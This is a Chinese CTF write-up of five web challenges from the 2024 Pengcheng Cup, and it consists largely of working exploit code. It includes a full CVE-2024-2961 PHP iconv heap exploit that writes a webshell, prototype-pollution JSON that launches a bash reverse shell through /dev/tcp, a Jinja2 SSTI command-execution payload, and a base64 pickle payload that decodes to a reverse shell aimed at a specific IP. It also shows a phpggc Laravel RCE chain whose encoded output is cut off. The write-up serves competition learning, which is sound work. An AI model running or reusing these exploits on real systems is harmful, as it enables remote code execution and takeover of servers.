2024鹏城杯线上赛Web方向题解


web美美下班,强度很适合我

fileread

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class cls1{
var $cls;
var $arr;
function show(){
show_source(__FILE__);
}
function __wakeup(){
foreach($this->arr as $k => $v)
echo $this->cls->$v;
}
}
class cls2{
var $filename = 'hello.php';
var $txt = '';
function __get($key){
var_dump($key);
if($key == 'fileput')
return $this->fileput();
else
return '<p>'.htmlspecialchars($key).'</p>';
}
function fileput(){
echo 'Your file:'.file_get_contents($this->filename);
}
}

if(!empty($_GET)){
$cls = base64_decode($_GET['ser']);
$instance = unserialize($cls);
}else{
$a = new cls1();
$a->show();
}
?>

链子应该是:

1
cls1::wakeup-> cls2::get -> cls::fileput

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class cls1{
var $cls;
var $arr;
function show(){
show_source(__FILE__);
}
function __wakeup(){
foreach($this->arr as $k => $v)
echo $this->cls->$v;
}
}
class cls2{
var $filename = 'hello.php';
var $txt = '';
function __get($key){
var_dump($key);
if($key == 'fileput')
return $this->fileput();
else
return '<p>'.htmlspecialchars($key).'</p>';
}
function fileput(){
echo 'Your file:'.file_get_contents($this->filename);
}
}

$a = new cls1;
$b = new cls2;
$a->cls = $b;
$a->arr = array("1"=>"fileput");
$b->filename="your payload here";
?>

直接读/flag无权限,但是题目提供了/readflag,因此我们要进行rce,联系到file_get_contents的rce就必须是from LFI to RCE,也就是我们的cve-2024-2961

不过原exp在这题的环境下进行交互比较困难,于是我弄到了一个手动版的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
#<?php
#$file = $_REQUEST['file'];
#$data = file_get_contents($file);
#echo $data;

# Author: https://github.com/kezibei/php-filter-iconv

from dataclasses import dataclass
from pwn import *
import zlib
import os
import binascii

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

@dataclass
class Region:
"""A memory region."""

start: int
stop: int
permissions: str
path: str

@property
def size(self):
return self.stop - self.start

def print_hex(data):
hex_string = binascii.hexlify(data).decode()
print(hex_string)

def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"

def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)

def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]

def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket

def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()

def b64(data: bytes, misalign=True) -> bytes:
payload = base64.b64encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload

def _get_region(regions, *names):
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")
return region

def find_main_heap(regions):
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE-1) == 0
and region.path == ""
]


if not heaps:
exit("Unable to find PHP's main heap in memory")

first = heaps[0]

if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
print("Potential heaps: "+heaps+" (using first)")
else:
print("[*]Using "+hex(first)+" as heap")

return first

def get_regions(maps_path):
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
f = open('D:\\lost and found\\CTF\\pocs\\lfi2rce\\utils\\maps','rb')
maps = f.read().decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in maps.split("\n"):
#print(region)
match = PATTERN.match(region)
if match :
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print("[*]Unable to parse memory mappings")

print("[*]Got "+ str(len(regions)) + " memory regions")
return regions

def get_symbols_and_addresses(regions):

# PHP's heap
heap = find_main_heap(regions)

# Libc
libc_info = _get_region(regions, "libc-", "libc.so")

return heap, libc_info

def build_exploit_path(libc, heap, sleep, padding, cmd):
LIBC = libc
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = heap
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

CS = 0x100

# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)

step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)

# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)

step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)

step3_size = CS

step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)

step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)

step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)

# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)

step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)

step4_use_custom_heap_size = 0x140

COMMAND = cmd
COMMAND = f"kill -9 $PPID; {COMMAND}"
if sleep:
COMMAND = f"sleep {sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"

assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * padding
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)

resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"

filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",

# Step 0: Setup heap
"dechunk",
"convert.iconv.latin1.latin1",

# Step 1: Reverse FL order
"dechunk",
"convert.iconv.latin1.latin1",

# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.latin1.latin1",

# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",

# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
# path = path.replace("+", "%2b") # 由于这里是反序列化提交filename,所以我们不需要把加号换成%2b
return path

maps_path = './utils/maps'
cmd = 'echo "<?php eval(\$_GET[1]);?>" > test.php'
sleep_time = 1
padding = 20

if not os.path.exists(maps_path):
exit("[-]no maps file")

regions = get_regions(maps_path)
print(regions)
heap, libc_info = get_symbols_and_addresses(regions)

libc_path = libc_info.path
print("[*]download: "+libc_path)

libc_path = './utils/so'
if not os.path.exists(libc_path):
exit("[-]no libc file")

libc = ELF(libc_path, checksec=False)
libc.address = libc_info.start

payload = build_exploit_path(libc, heap, sleep_time, padding, cmd)

print("[*]payload:")
print(payload)

使用方法:

  • 首先利用file_get_contents()读到/proc/self/maps并保存到本地,注意maps的格式必须是一行行的,而不是一行写下去的那种。
  • 然后运行一次exp,这个时候它会打印[*]download: xxx,这个xxx是我们需要的libc
  • 再利用file_get_contents()获取上一步中给出的libc并保存
  • 最后再运行一次,得到payload
  • mapslibc个人的处理方式就是利用base64加密获取到结果后再解密保存

最后将payload赋值给filename就能够写如一个shell,调用/readflag即可:

notadmin

题目给出了附件,一眼顶针能够鉴定为原型链污染,并且在/login的时候可以进行污染:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
const express = require('express');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
let { User } = require('./user');
const crypto = require('crypto');
const path = require('path')

const app = express();
const port = 3000;

app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));

app.use(express.static('public'));
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.json());

const tmp_user = {}

function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
const token = authHeader;
if (tmp_user.secretKey == undefined) {
tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
}
if (!token) {
return res.redirect('/login');
}
try {
const decoded = jwt.verify(token, tmp_user.secretKey);
req.user = decoded;
next();
} catch (ex) {
return res.status(400).send('Invalid token.');
}
}

const merge = (a, b) => {
for (var c in b) {
console.log(JSON.stringify(b[c]));
if (check(b[c])) {
if (a.hasOwnProperty(c) && b.hasOwnProperty(c) && typeof a[c] === 'object' && typeof b[c] === 'object') {
merge(a[c], b[c]);
} else {
a[c] = b[c];
}
} else {
return 0
}
}
return a
}

console.log(tmp_user.secretKey)

var check = function (str) {
let input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;

if (typeof str === 'object' && str !== null) {
for (let key in str) {
if (!check(key)) {
return false;
}
if (!check(str[key])) {
return false;
}
}
return true;
} else {
return !input.test(str);
}
};

app.get('/login', (req, res) => {
res.render('login')
});

app.post('/login', (req, res) => {
if (merge(tmp_user, req.body)) {
if (tmp_user.secretKey == undefined) {
tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
}
if (User.verifyLogin(tmp_user.password)) {
const token = jwt.sign({ username: tmp_user.username }, tmp_user.secretKey);
res.send(`Login successful! Token: ${token}\nBut nothing happend~`);
} else {
res.send('Login failed!');
}
} else {
res.send("Hacker denied!")
}
});

app.get('/', (req, res) => {
authenticateToken(req, res, () => {
backcode = eval(tmp_user.code)
res.send("something happend~")
});
});

app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});

可以看到当我们访问/的时候可以在通过authenticateToken之后进行eval(tmp_user.code),很明显这tmp_user.code并不存在,需要我们进行原型链污染

题目还有一个check函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var check = function (str) {
let input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;

if (typeof str === 'object' && str !== null) {
for (let key in str) {
if (!check(key)) {
return false;
}
if (!check(str[key])) {
return false;
}
}
return true;
} else {
return !input.test(str);
}
};

我们首先要做的第一件事就是通过authenticateToken,可以看到它的secretKey是执行这个函数并且当key不存在的时候才会生成随机的。因此我们可以先行污染secretKey使得其存在且可控。后续我们直接能够伪造出jwt通过验证(他这个merge的形式和平时的不太一样,这里可以直接像下面那样写):

1
2
3
4
5
{
"username":"1",
"password":"1",
"secretKey":"114514"
}

登录时发送过去后我们的secretKey就被指定为了114514,后续去jwt.io能够伪造token通过验证:

带上 authorization 发根路由就能触发 eval 了

下面就是waf的问题,这里可能是因为mergecheck的上面,导致我们可以污染check绕过它的waf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const merge = (a, b) => {
for (var c in b) {
console.log(JSON.stringify(b[c]));
if (check(b[c])) {
if (a.hasOwnProperty(c) && b.hasOwnProperty(c) && typeof a[c] === 'object' && typeof b[c] === 'object') {
merge(a[c], b[c]);
} else {
a[c] = b[c];
}
} else {
return 0
}
}
return a
}

console.log(tmp_user.secretKey)

var check = function (str) {
let input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;

if (typeof str === 'object' && str !== null) {
for (let key in str) {
if (!check(key)) {
return false;
}
if (!check(str[key])) {
return false;
}
}
return true;
} else {
return !input.test(str);
}
};

污染check:

1
2
3
4
5
6
{
"username":"caterpie",
"password":"123456",
"secretKey": "114514",
"code":"check=(str)=>true"
}

最后污染code:

1
2
3
4
5
6
{
"username":"caterpie",
"password":"123456",
"secretKey": "114514",
"code":"require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"
}

Python口算

学弟秒了,我直接抄他wp了:

开局脚本伺候:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import requests
import time
import ast
import operator

# 定义服务器的基础 URL,请根据实际情况修改
BASE_URL = 'http://192.168.18.28/' # 例如 'http://localhost:8000'

# 定义支持的操作符
operators = {
ast.Add: operator.add,
ast.Sub: operator.sub,
ast.Mult: operator.mul,
ast.Div: operator.truediv,
ast.Pow: operator.pow,
ast.Mod: operator.mod,
# 如果有需要,可以添加更多操作符
}

def safe_eval(expr):
"""
安全地计算算术表达式,避免使用 eval 带来的安全风险
"""
try:
tree = ast.parse(expr, mode='eval')
return eval_(tree.body)
except Exception as e:
print(f"计算错误: {e}")
return None

def eval_(node):
if isinstance(node, ast.Num): # 处理数字
return node.n
elif isinstance(node, ast.BinOp): # 处理二元操作
if type(node.op) in operators:
return operators[type(node.op)](eval_(node.left), eval_(node.right))
else:
raise TypeError(f"不支持的操作符: {type(node.op)}")
else:
raise TypeError(f"不支持的表达式: {type(node)}")

def main():
while True:
try:
# 步骤1:获取算式
calc_url = f"{BASE_URL}/calc"
response = requests.get(calc_url)
if response.status_code == 200:
expression = response.text.strip()
print(f"收到算式: {expression}")

# 步骤2:计算算式
answer = safe_eval(expression)
if answer is not None:
print(f"计算结果: {answer}")

# 步骤3:提交答案
submit_url = f"{BASE_URL}/"
params = {'answer': answer, 'Submit': '提交'}
submit_response = requests.get(submit_url, params=params)

if submit_response.status_code == 200:
print("答案提交成功")
print(submit_response.content)
else:
print(f"提交失败,状态码: {submit_response.status_code}")
else:
print("未能计算出答案")
else:
print(f"获取算式失败,状态码: {response.status_code}")
except Exception as e:
print(f"发生错误: {e}")

# 步骤4:等待1秒
# time.sleep(1)

if __name__ == "__main__":
main()

拿到hint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/')
def index(solved=0):
global current_expr

# 前端计算
.....
.....
# 通过计算

username = 'ctfer!'
if request.args.get('username'):
username = request.args.get('username')
if whitelist_filter(username,whitelist_patterns):
if blacklist_filter(username):
return render_template_string("filtered")
else:
print("你过关!")
else:
return render_template_string("filtered")
return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")

根据代码修改:

在测试绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import requests
import ast
import operator

# 定义服务器的基础 URL,请根据实际情况修改
BASE_URL = 'http://192.168.18.28' # 例如 'http://localhost:8000'
cmd='cat /flag'
cmd=cmd.encode('utf-8').hex()
payload=f'''{{{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen(bytes.fromhex('{cmd}').decode()).read()")}}}}'''
# 定义支持的操作符
operators = {
ast.Add: operator.add,
ast.Sub: operator.sub,
ast.Mult: operator.mul,
ast.Div: operator.truediv,
ast.Pow: operator.pow,
ast.Mod: operator.mod,
# 如果有需要,可以添加更多操作符
}

def safe_eval(expr):
"""
安全地计算算术表达式,避免使用 eval 带来的安全风险
"""
try:
tree = ast.parse(expr, mode='eval')
return eval_(tree.body)
except Exception as e:
print(f"计算错误: {e}")
return None

def eval_(node):
if isinstance(node, ast.Num): # 处理数字
return node.n
elif isinstance(node, ast.BinOp): # 处理二元操作
if type(node.op) in operators:
return operators[type(node.op)](eval_(node.left), eval_(node.right))
else:
raise TypeError(f"不支持的操作符: {type(node.op)}")
else:
raise TypeError(f"不支持的表达式: {type(node)}")

def main():
try:
# 步骤1:获取算式
calc_url = f"{BASE_URL}/calc"
response = requests.get(calc_url)
if response.status_code == 200:
expression = response.text.strip()
print(f"收到算式: {expression}")

# 步骤2:计算算式
answer = safe_eval(expression)
if answer is not None:
print(f"计算结果: {answer}")

# 步骤3:提交答案
submit_url = f"{BASE_URL}/?answer={answer}&Submit=%E6%8F%90%E4%BA%A4"
print(submit_url)
test = {
'username': payload
}
submit_response = requests.post(submit_url,data=test)

if submit_response.status_code == 200:
print("答案提交成功")
print(submit_response.content)
elif submit_response.status_code == 500:
print("Internal Server Error")
else:
print(f"提交失败,状态码: {submit_response.status_code}")
else:
print("未能计算出答案")
else:
print(f"获取算式失败,状态码: {response.status_code}")
except Exception as e:
print(f"发生错误: {e}")

# 步骤4:等待1秒
# time.sleep(1)

if __name__ == "__main__":
main()

ez_python

有点脑洞+爆破的思路在里面

首先dirsearch扫出/login路由

接下来首先尝试admin账户爆破失败,但是突发奇想试试test用户,毕竟这用户省赛的时候就吃过一次亏了。结果还真有,爆出用户test/123456

这是一个test用户,登录成功后可以发现有一个按钮,点一下会显示不是管理员,上图可以看到在登录成功后会获得一个jwt的token。因此题目暗示我们需要去修改jwt的token。经过上次长城杯的教训这次我们学精了,直接爆破key先,结果还真是,爆破出key为a123456。

去jwt.io美美修改key后重新点击按钮可以得到一串unicode

1
2
>>> "\u542c\u8bf4ser\u6709\u70b9\u4e1c\u897f"
'听说ser有点东西'

得到新路由/ser

/ser路由如下

1
import pickle\nimport base64\ndef hhhhackme(pickled):\n    data = base64.urlsafe_b64decode(pickled)\n    deserialized = pickle.loads(data)\n\n\n    return '', 204

很明显是一个简单的pickle反序列化。随便找个payload都能打:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /ser HTTP/1.1
Host: 192.168.18.23
Content-Length: 106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
Content-Type: application/json
Accept: */*
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTczMTExODg2OX0.OpkBoWUDun8_an51o3lNLflfsVnd4Bax8oeqcjIsQF0
Origin: http://192.168.18.23
Referer: http://192.168.18.23/login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

{"pickled":"KFMnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzOC4xMjcuNzQvMjMzMyAwPiYxIicKaW9zCnN5c3RlbQou"}

vps监听,然后执行shell就过来了

ezlaravel

laravel框架v8.83.27

最开始的灵感来自N1CTF2023laravel题解在这。想着用它的exp一把梭,结果提示这个filter不存在/无法创建:

然后找到了另外一个洞:

https://www.cnblogs.com/xiaoyunxiaogang/p/16913350.html

这个直接跟着链接打就可以了:

1
2
3
root@aurora-virtual-machine:/home/aurora/桌面/CVE-2021-3129# php -d "phar.readonly=0" ./phpggc/phpggc Laravel/RCE5 "system('cat /flag.txt');" --phar phar -o php://output | base64 -w 0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=4D=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=57=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=7A=00=4F=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=64=00=6A=00=59=00=58=00=51=00=67=00=4C=00=32=00=5A=00=73=00=59=00=57=00=63=00=75=00=64=00=48=00=68=00=30=00=4A=00=79=00=